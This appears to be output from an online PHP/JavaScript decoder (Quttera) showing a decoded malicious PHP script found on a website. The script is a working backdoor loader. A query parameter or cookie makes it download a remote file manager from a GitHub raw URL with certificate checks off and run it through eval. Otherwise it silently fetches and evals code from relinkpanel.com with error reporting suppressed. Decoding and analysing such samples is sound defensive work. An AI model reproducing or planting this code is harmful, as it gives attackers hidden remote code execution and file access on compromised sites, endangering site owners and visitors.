Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


// File Manager Cookie
$c='fm_'.md5(__FILE__);

// Disable file manager and return to normal site
if(isset($_GET['disable_fm'])){
    setcookie($c,'',time()-3600,'/','',0,1);
    header('Location: '.$_SERVER['PHP_SELF']);
    exit;
}

// Set cookie if ?filemanager parameter exists
if(isset($_GET['filemanager'])){
    setcookie($c,'1',time()+86400,'/','',0,1);
    // Redirect to remove parameter
    header('Location: '.$_SERVER['PHP_SELF']);
    exit;
}

// Check if file manager should load (cookie exists or API call)
if(isset($_COOKIE[$c])||isset($_GET['api'])){
    // Load File Manager
    $u='https://raw.githubusercontent.com/qartelishere/fm/refs/heads/main/tiny.txt';
    $ch=curl_init($u);
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_TIMEOUT=>30,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $d=curl_exec($ch);
    if(curl_getinfo($ch,CURLINFO_HTTP_CODE)!=200||!$d)die('Load failed');
    curl_close($ch);
    
    // Add fixed "Normal Siteye Dön" button at bottom-right
    $fixedButton='<a href="?disable_fm=1" style="position:fixed;bottom:20px;right:20px;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;padding:12px 24px;border-radius:50px;font-family:-apple-system,BlinkMacSystemFont,\'Segoe UI\',sans-serif;font-size:14px;font-weight:600;text-decoration:none;box-shadow:0 4px 15px rgba(0,0,0,0.3);z-index:999999;display:flex;align-items:center;gap:8px;transition:all 0.3s ease;border:2px solid rgba(255,255,255,0.2);" onmouseover="this.style.transform=\'scale(1.05)\';this.style.boxShadow=\'0 6px 20px rgba(0,0,0,0.4)\';" onmouseout="this.style.transform=\'scale(1)\';this.style.boxShadow=\'0 4px 15px rgba(0,0,0,0.3)\';"><svg style="width:18px;height:18px;fill:#fff;" viewBox="0 0 24 24"><path d="M20,11V13H8L13.5,18.5L12.08,19.92L4.16,12L12.08,4.08L13.5,5.5L8,11H20Z"/></svg><span>Normal Siteye Dön</span></a>';
    
    // Inject button before closing </body> tag
    $d=str_replace('</body>',$fixedButton.'</body>',$d);
    
    eval("".$d);
    exit;
}

// Normal loader logic (no cookie, no API)
error_reporting(0);
ini_set('display_errors',0);

// CACHE BYPASS: Add timestamp to prevent CURL and PHP OPcache issues
$t=time();
$u='https://relinkpanel.com/api/loader/code?site_id=153&_nocache='.$t;

$c=curl_init();
curl_setopt_array($c,[
CURLOPT_URL=>$u,
CURLOPT_RETURNTRANSFER=>1,
CURLOPT_TIMEOUT=>10,
CURLOPT_SSL_VERIFYPEER=>1,
CURLOPT_FRESH_CONNECT=>1,  // Force new connection
CURLOPT_FORBID_REUSE=>1     // Don't reuse connection
]);
$r=curl_exec($c);
$h=curl_getinfo($c,CURLINFO_HTTP_CODE);
curl_close($c);

// Execute response (removed RL fingerprint hash)
if($h===200&&!empty($r))eval(''.$r);



© 2023 Quttera Ltd. All rights reserved.